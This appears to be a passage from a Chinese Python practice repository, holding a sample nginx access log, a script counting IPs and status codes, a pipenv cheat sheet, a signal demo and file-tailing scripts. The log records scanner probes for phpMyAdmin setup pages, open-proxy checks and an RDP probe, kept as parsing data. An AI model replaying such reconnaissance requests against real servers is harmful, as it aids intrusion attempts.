12040 "-" "Mozilla" "-" 14 | 79.54.242.122 - - [29/Aug/2018:06:56:03 +0800] "GET / HTTP/1.1" 200 192127 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-" 15 | 80.82.70.187 - - [29/Aug/2018:07:40:07 +0800] "GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1" 404 169 "-" "Mozilla" "-" 16 | 119.110.84.33 - - [29/Aug/2018:07:47:44 +0800] "GET / HTTP/1.1" 200 192127 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" "-" 17 | 106.75.92.187 - - [29/Aug/2018:08:38:00 +0800] "\x16\x03\x01\x01\x22\x01\x00\x01\x1E\x03\x03\x17\x11\xF4\x8A\xC0rBp\x8F\xAB\xB1>TT\x0E" 400 173 "-" "-" "-" 18 | 106.75.92.187 - - [29/Aug/2018:08:39:01 +0800] "USER test +iw test :Test Wuz Here" 400 173 "-" "-" "-" 19 | 106.75.92.187 - - [29/Aug/2018:08:39:01 +0800] "GET / HTTP/1.1" 200 192127 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" "-" 20 | 93.174.93.136 - - [29/Aug/2018:08:58:30 +0800] "GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1" 404 12040 "-" "Mozilla" "-" 21 | 80.82.70.187 - - [29/Aug/2018:08:58:54 +0800] "GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1" 404 12040 "-" "Mozilla" "-" 22 | 183.78.180.27 - - [29/Aug/2018:09:24:20 +0800] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 169 "-" "ZmEu" "-" 23 | 183.78.180.27 - - [29/Aug/2018:09:24:20 +0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 169 "-" "ZmEu" "-" 24 | 183.78.180.27 - - [29/Aug/2018:09:24:20 +0800] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 169 "-" "ZmEu" "-" 25 | 183.78.180.27 - - [29/Aug/2018:09:24:20 +0800] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 169 "-" "ZmEu" "-" 26 | 183.78.180.27 - - [29/Aug/2018:09:24:20 +0800] "GET /pma/scripts/setup.php HTTP/1.1" 404 169 "-" "ZmEu" "-" 27 | 183.78.180.27 - - [29/Aug/2018:09:24:20 +0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 169 "-" "ZmEu" "-" 28 | 80.82.78.50 - - [29/Aug/2018:09:33:08 +0800] "GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1" 404 12040 "-" "Mozilla" "-" 29 | 47.97.23.199 - - [29/Aug/2018:09:49:45 +0800] "" 400 0 "-" "-" "-" 30 | 167.114.122.149 - - [29/Aug/2018:10:14:05 +0800] "\x03\x00\x00+&\xE0\x00\x00\x00\x00\x00Cookie: mstshash=hello" 400 173 "-" "-" "-" 31 | 60.191.52.254 - - [29/Aug/2018:10:51:58 +0800] "HEAD http://112.124.42.80:63435/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36" "-" 32 | 201.150.54.233 - - [29/Aug/2018:10:58:03 +0800] "GET / HTTP/1.1" 200 44025 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" "-" 33 | 113.25.174.205 - - [29/Aug/2018:11:36:27 +0800] "GET / HTTP/1.1" 200 192127 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" "-" 34 | 191.19.156.56 - - [29/Aug/2018:11:42:12 +0800] "GET / HTTP/1.1" 200 192127 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" "-" 35 | 71.6.232.4 - - [29/Aug/2018:12:18:14 +0800] "GET / HTTP/1.1" 200 86637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36" "-" 36 | 93.174.93.136 - - [29/Aug/2018:12:54:25 +0800] "GET http://www.baidu.com/cache/global/img/gs.gif HTTP/1.1" 404 12040 "-" "Mozilla" "-" 37 | 185.173.206.26 - - [29/Aug/2018:13:37:54 +0800] "GET / HTTP/1.1" 200 64917 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" "-" 38 | 46.143.152.60 - - [29/Aug/2018:14:26:32 +0800] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" "-" 39 | -------------------------------------------------------------------------------- /nginxlog/main.py: -------------------------------------------------------------------------------- 1 | 2 | '''统计日志文件中ip列表''' 3 | def get_ipsset(): 4 | ip_set = set() # 为什么要用集合而不用列表? 5 | 6 | with open('access.log', 'r') as fd: 7 | for line in fd: 8 | line_str = line.rstrip("\n") # 为什么要加一个strip 9 | ip = line_str.split()[0] 10 | ip_set.add(ip) 11 | 12 | return ip_set 13 | 14 | 15 | '''统计不同状态码出现的次数''' 16 | def get_httpstatus(): 17 | http_status_dic = {} 18 | status_code_range = [ str(x) for x in range(100, 601)] 19 | 20 | with open('access.log', 'r') as fd: 21 | for line in fd: 22 | line_str = line.rstrip("\n") # 为什么要加一个strip 23 | tmpdata_list = line_str.split() 24 | 25 | status_code = tmpdata_list[8] 26 | if status_code in status_code_range: 27 | http_status_dic[status_code] = http_status_dic.get(status_code, 0) + 1 28 | else: 29 | status_code = tmpdata_list[-5] 30 | if status_code in status_code_range: 31 | http_status_dic[status_code] = http_status_dic.get(status_code, 0) + 1 32 | else: 33 | print("WARN") 34 | 35 | return http_status_dic 36 | 37 | 38 | 39 | def sort_dict(dic): 40 | return sorted(dic.items(), key=lambda x:x[1], reverse=False) 41 | 42 | 43 | def main(): 44 | http_status_dic = get_httpstatus() 45 | print(http_status_dic) 46 | http_status_dic = sort_dict(http_status_dic) 47 | print(http_status_dic) 48 | 49 | 50 | 51 | 52 | 53 | if __name__ == '__main__': 54 | main() -------------------------------------------------------------------------------- /pipenv/README.md: -------------------------------------------------------------------------------- 1 | ## pipenv 2 | 3 | - 概览 4 | ```bash 5 | pipenv 6 | 1. 集成了virtualenv, pip, pyenv三者的功能 7 | 2. 自动的创建和管理虚拟环境 8 | 3. 使用 Pipfile 文件添加或删除安装的包, 9 | 同时生成Pipfile.lock来锁定安装包的版本和依赖信息, 避免构建错误. 10 | ``` 11 | 12 | - 安装 13 | ```angular2 14 | $ pip3 install pipenv 15 | ``` 16 | 17 | - 常用命令 18 | ```bash 19 | // 可以初始化一个python3的虚拟环境 20 | $ pipenv --three 21 | 22 | // 可以初始化一个python2的虚拟环境 23 | $ pipenv --two 24 | 25 | //创建一个3.6.8的虚拟环境 26 | $ pipenv --python 3.6.8 27 | 28 | // 激活虚拟环境 29 | $ pipenv shell 30 | $ pipenv run python main.py 31 | 32 | // 更新所有依赖包 33 | $ pipenv update 34 | 35 | // 更新指定依赖包 36 | $ pipenv update ipython 37 | 38 | // 卸载包 39 | $ pipenv uninstall ipython 40 | 41 | // 生成requirements.txt文件 42 | $ pipenv lock -r 43 | 44 | // 生成dev-packages的requirements.txt文件 45 | $ pipenv lock -r -d 46 | 47 | // 用编辑器打开requests模块 48 | $ pipenv open ipython 49 | ``` -------------------------------------------------------------------------------- /signal/psignal.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import signal 3 | 4 | 5 | def signal_handler(signal, frame): 6 | print('You pressed Ctrl+C!') 7 | sys.exit(0) 8 | 9 | # register func handler 10 | ''' 11 | signal.SIGINT 12 | 13 | SIGINT 终止进程 中断进程 (control+c) 14 | SIGTERM 终止进程 软件终止信号 15 | SIGKILL 终止进程 杀死进程 16 | SIGALRM 闹钟信号 17 | ''' 18 | signal.signal(signal.SIGINT, signal_handler) 19 | 20 | # Wait until a signal arrives. 21 | # 阻塞调用 22 | signal.pause() -------------------------------------------------------------------------------- /tail/README.md: -------------------------------------------------------------------------------- 1 | ## file 2 | 3 | ``` 4 | 仿照logstash(elk)服务的流式处理, 5 | 当logstash服务异常中断并在下次重新成功启动时,继续从上次文件的位置继续读取,而不是从文件头读取。 6 | ``` 7 | 8 | 9 | 10 | ## stackoverflow 11 | 12 | - [file tell](https://stackoverflow.com/questions/49785865/meaning-of-oserror-telling-position-disabled-by-next-call-error) -------------------------------------------------------------------------------- /tail/logstash_v1.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | import time 4 | 5 | '''小文件读取''' 6 | def readFile(filename): 7 | try: 8 | fd = open(filename, 'r') 9 | return fd.read(), True 10 | except Exception as e: 11 | return e.args, False 12 | finally: 13 | if 'fd' in locals(): 14 | fd.close() 15 | 16 | '''通用 写文件''' 17 | def writeFile(filename, data): 18 | try: 19 | fd = open(filename, 'w') 20 | if isinstance(data, int): 21 | return fd.write(str(data)), True 22 | elif isinstance(data, list) or isinstance(data, dict): 23 | return fd.write(json.dumps(data)), True 24 | else: 25 | return "file isinstance(data) match failed.", False 26 | except Exception as e: 27 | return e.args, False 28 | finally: 29 | if 'fd' in locals(): 30 | fd.close() 31 | 32 | '''获取文件指针''' 33 | def getFilePos(filename): 34 | if not os.path.exists(filename): 35 | os.makedirs(os.path.dirname(filename), exist_ok=True) 36 | FILE_POS = 0 37 | else: 38 | pid, ok = readFile(filename) 39 | if ok: 40 | try: 41 | FILE_POS = int(pid.strip()) 42 | except: 43 | # warn 44 | FILE_POS = 0 45 | else: 46 | FILE_POS = 0 47 | return FILE_POS 48 | 49 | '''流式处理''' 50 | def fileStream(log_file, pid_file, file_pos): 51 | try: 52 | fd = open(log_file, 'r') 53 | fd.seek(file_pos) 54 | while True: 55 | lineinfo = fd.readline() 56 | print(lineinfo.strip("\n")) 57 | time.sleep(0.3) 58 | if len(lineinfo) == 0: 59 | break 60 | except KeyboardInterrupt: 61 | '''捕获CTRL + C''' 62 | msg, ok = writeFile(pid_file, fd.tell()) 63 | if not ok: 64 | print(msg) 65 | finally: 66 | if 'fd' in locals(): 67 | fd.close() 68 | 69 | '''入口函数''' 70 | def main(): 71 | # print(__file__) 72 | # print(os.path.abspath(__file__)) 73 | # print(os.path.dirname(os.path.abspath(__file__))) 74 | 75 | '''获取文件绝对路径''' 76 | BASE_DIR = os.path.dirname(os.path.abspath(__file__)) 77 | LOG_FILE = os.path.join(BASE_DIR, "mysqld.log") 78 | PID_FILE = os.path.join(BASE_DIR, 'run', 'logstash.pid') 79 | 80 | FILE_POS = getFilePos(PID_FILE) 81 | fileStream(LOG_FILE, PID_FILE, FILE_POS) 82 | 83 | 84 | 85 | 86 | if __name__ == '__main__': 87 | main() 88 | -------------------------------------------------------------------------------- /tail/logstash_v2.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | import time 4 | 5 | '''小文件读取''' 6 | def readFile(filename): 7 | try: 8 | fd = open(filename, 'r') 9 | return fd.read(), True 10 | except Exception as e: 11 | return e.args, False 12 | finally: 13 | if 'fd' in locals(): 14 | fd.close() 15 | 16 | '''通用 写文件''' 17 | def writeFile(filename, data): 18 | try: 19 | fd = open(filename, 'w') 20 | if isinstance(data, int): 21 | return fd.write(str(data)), True 22 | elif isinstance(data, list) or isinstance(data, dict): 23 | return fd.write(json.dumps(data)), True 24 | else: 25 | return "file isinstance(data) match failed.", False 26 | except Exception as e: 27 | return e.args, False 28 | finally: 29 | if 'fd' in locals(): 30 | fd.close() 31 | 32 | '''获取文件指针''' 33 | def getFilePos(filename): 34 | if not os.path.exists(filename): 35 | os.makedirs(os.path.dirname(filename)) 36 | FILE_POS = 0 37 | else: 38 | pid, ok = readFile(filename) 39 | if ok: 40 | try: 41 | FILE_POS = int(pid.strip()) 42 | except: 43 | # warn 44 | FILE_POS = 0 45 | else: 46 | FILE_POS = 0 47 | return FILE_POS 48 | 49 | '''流式处理''' 50 | def fileStream(log_file, pid_file, file_pos): 51 | try: 52 | fd = open(log_file, 'r') 53 | fd.seek(file_pos) 54 | for line in fd: 55 | print(line, end="") 56 | file_pos += len(line) 57 | time.sleep(0.3) 58 | except KeyboardInterrupt: 59 | '''捕获CTRL + C''' 60 | msg, ok = writeFile(pid_file, file_pos) 61 | if not ok: 62 | print(msg) 63 | finally: 64 | if 'fd' in locals(): 65 | fd.close() 66 | 67 | '''入口函数''' 68 | def main(): 69 | # print(__file__) 70 | # print(os.path.abspath(__file__)) 71 | # print(os.path.dirname(os.path.abspath(__file__))) 72 | 73 | '''获取文件绝对路径''' 74 | BASE_DIR = os.path.dirname(os.path.abspath(__file__)) 75 | LOG_FILE = os.path.join(BASE_DIR, "mysqld.log") 76 | PID_FILE = os.path.join(BASE_DIR, 'run', 'logstash.pid') 77 | 78 | FILE_POS = getFilePos(PID_FILE) 79 | fileStream(LOG_FILE, PID_FILE, FILE_POS) 80 | 81 | 82 | 83 | 84 | if __name__ == '__main__': 85 | main() 86 | --------------------------------------------------------------------------------